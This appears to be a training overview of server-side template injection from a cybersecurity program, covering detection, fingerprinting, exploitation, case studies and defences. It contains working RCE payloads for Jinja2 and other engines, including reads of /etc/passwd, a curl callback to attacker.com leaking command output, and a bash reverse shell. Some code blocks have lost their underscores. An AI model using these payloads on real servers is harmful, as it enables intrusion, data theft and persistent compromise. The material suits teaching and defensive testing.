INSA · ETHIO CYBER TALENT PROGRAM

TEMPLATE INJECTION

A comprehensive research overview: concepts, detection, exploitation, and defence

Topic	Server-Side Template Injection (SSTI)
Track	Offensive Security / Web Application Penetration Testing
Date	May 2026
Authors	Cybersecurity Track – Cohort 2026

1. Introduction

Server-Side Template Injection (SSTI) is a class of injection vulnerability that arises when user-supplied data is embedded directly into a server-side template and subsequently rendered by the template engine. Unlike Cross-Site Scripting (XSS), which is executed in the victim's browser, SSTI executes on the server — giving an attacker direct access to the server's runtime environment.

Template engines such as Jinja2 (Python), Twig (PHP), Freemarker (Java), and Smarty (PHP) are designed to mix static markup with dynamic expressions. When developers construct templates dynamically from user input — rather than passing user data as a variable into a fixed template — the engine may interpret attacker payloads as executable code, leading to Remote Code Execution (RCE).

■ SSTI is frequently rated Critical (CVSS ≥ 9.0) because successful exploitation yields full code execution on the server — equivalent to a shell on the host.

2. How SSTI Occurs

2.1 Safe vs. Vulnerable Pattern

The distinction between safe and vulnerable usage is subtle but decisive:

```
# SAFE   user input is a data value, never part of the template string
template = env.from_string("Hello {{ name }}!")
output   = template.render(name=user_input)

# VULNERABLE   user input becomes the template string itself
template = env.from_string(f"Hello {user_input}!")
output   = template.render()
```

Python / Jinja2 — safe vs. vulnerable construction

2.2 Root Causes

- String formatting user input directly into template strings (f-strings, % formatting, .format()).
- Passing user-controlled template paths to the rendering engine.
- Dynamic template construction in report generators, email renderers, or CMS systems.
- Insufficient understanding that templates are code, not just strings.

3. Detection & Fingerprinting

3.1 Arithmetic Probe

The first detection step is injecting a simple mathematical expression. If the response reflects the evaluated result instead of the literal string, SSTI is confirmed:

{{7*7}}	49	Jinja2, Twig, Pebble
${7*7}	49	Freemarker, Velocity, Mako
<%= 7*7 %>	49	ERB (Ruby), EJS (Node)
#{7*7}	49	Smarty, Pebble (alt)

{7*7}	49	Golang html/template

3.2 Engine Fingerprinting

Once SSTI is confirmed, send **{{7*'7'}}** to distinguish Jinja2 from Twig:

- Jinja2 (Python) → **7777777** (string repeated 7 times — Python * semantics)
- Twig (PHP) → **49** (numeric multiplication)

Further fingerprinting can use error messages, class names in exception traces, or engine-specific globals (e.g., **config** in Flask/Jinja2, **_self** in Twig).

3.3 Blind SSTI

If the page does not reflect output, use out-of-band detection — trigger a DNS or HTTP callback from the server:

```
{{ config   .class      .init      .globals  ["os"]
   .popen("curl http://attacker.com/?x=$(id)").read() }}
```

Out-of-band confirmation — result arrives at the attacker's HTTP server

---

4. Exploitation

4.1 Jinja2 — Python Object Traversal

Jinja2 restricts access to Python internals by default, but Flask injects several rich objects — notably **config** — into the template context. By traversing the object's class hierarchy we can reach the **os** module:

```
config                          # flask.config.Config object
     .class                     # <class 'flask.config.Config'>
     .init                      #   .init   method of that class
     .globals                   # function globals dict
  ["os"]                        # import os
   .popen("id")                 # subprocess
   .read()                      # stdout as string
```

Jinja2 payload chain — each step traverses the Python object model

4.2 Common RCE Payloads – Jinja2

Goal	Payload
Confirm RCE	`{{ config.__class__.__init__.__globals__["os"].popen("id").read() }}`
List filesystem	`{{ config.__class__.__init__.__globals__["os"].popen("ls /").read() }}`
Read file	`{{ config.__class__.__init__.__globals__["os"].popen("cat /etc/passwd").read() }}`
Write file	`{{ config.__class__.__init__.__globals__["os"].popen("echo pwned>/tmp/x").read() }}`
Reverse shell	`{{ config.__class__.__init__.__globals__["os"].popen("bash -i >&/dev/tcp/IP/PORT 0>&1").read() }}`

4.3 Alternative Jinja2 Payload (no config)

When **config** is absent, enumerate Python's subclass list and hunt for useful classes:

```
{{ ''.__class__.__mro__[1].__subclasses__() }}
```

```
# Then look for subprocess.Popen, os, wrap_close, io.FileIO, etc
# Example — using subprocess.Popen via subclass index:
{{ ''.__class__.__mro__[1].__subclasses__()[N](['id'],stdout=-1).communicate() }}
```

4.4 Other Template Engines

Engine	Language	RCE Payload
Twig	**PHP**	**_self.env.registerUndefinedFilterCallback("exec") {{ _self.env.getFilter("id") }}**
Freemarker	Java	<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
ERB	Ruby	<%= `id` %>
Velocity	Java	#set($x="")#set($rt=$x.class.forName("java.lang.Runtime"))...
Smarty	PHP	{php}echo shell_exec("id");{/php}

---

5. Real-World Impact & Case Studies

- **Uber (2016)** — SSTI in a Python Flask service allowed full RCE; reported via HackerOne for a $10,000 bounty.
- **Shopify (2015)** — Liquid template injection in a sandbox context; led to stricter sandbox evaluation restrictions.
- **HackerOne platform (2016)** — Markdown processor used Twig; SSTI via crafted report titles granted RCE on HackerOne's own infrastructure.
- **GroupMe (2019)** — Jinja2 SSTI in a user-facing field; $5,000 bug bounty.

SSTI consistently appears in OWASP Top 10 reporting under A03:2021 – Injection. It is a first-class finding in penetration test reports and bug bounty programmes.

---

6. Typical Attack Chain

1. Recon	Identify input fields reflected in responses	Surface candidates for injection
2. Detection	Send {{7*7}} in each candidate	49 in response confirms SSTI
3. Fingerprint	Send {{7*'7'}} / check error messages	Identify template engine
4. RCE	Use engine-specific payload to call os.popen / exec	Shell command output returned
5. Escalate	Read /etc/passwd, /root/, SSH keys, source code	Full host compromise
6. Persist	Drop reverse shell, cron job, or SSH key	Persistent access established

---

7. Defence & Remediation

7.1 Developer Mitigations

- **Never use user input as a template string.** Pass it as a data variable into a fixed template.
- **Use sandboxed template environments.** Jinja2's *SandboxedEnvironment* restricts access to dangerous attributes like *__class__*, *__globals__*, etc.
- **Allowlist input.** Reject strings containing *{{*, *}}*, *{%*, *${*, *<%*.
- **Strip dangerous globals from context.** Remove *os*, *subprocess*, *__builtins__* from the template namespace.
- **Run with least privilege.** A web server running as root converts SSTI to full machine compromise.

7.2 Infrastructure Mitigations

- Deploy Web Application Firewalls (WAF) with SSTI-specific rules.
- Container isolation — limit what an exploited process can reach.
- Egress filtering to block out-of-band callbacks from production servers.
- Regular DAST/SAST scans targeting template rendering code paths.

Fix template construction	★★★★★	Root-cause fix — highest priority
SandboxedEnvironment (Jinja2)	★★★★■	Good but bypassable in some versions
Input validation / WAF	★★★■■	Bypassable; defence-in-depth only
Least privilege	★★★★■	Limits blast radius, not the vuln
Container isolation	★★★■■	Reduces escalation paths

---

8. Tools & References

8.1 Testing Tools

tplmap	Automated SSTI detection and exploitation (Python)
Burp Suite	Manual testing via Intruder / Repeater; active scan plugin
SSTImap	Modern tplmap alternative with broader engine support
ffuf / wfuzz	Parameter fuzzing to discover SSTI entry points at scale
Caido	Lightweight Burp alternative with SSTI-aware payloads

8.2 References

- PortSwigger Web Security Academy — Server-Side Template Injection (labs + theory)
- OWASP Testing Guide v4.2 — OTG-INPVAL-018: Testing for Template Injection
- HackTricks — SSTI (Server Side Template Injection) cheat sheet
- PayloadsAllTheThings — Template Injection section (GitHub)
- James Kettle, 'Server-Side Template Injection', BlackHat USA 2015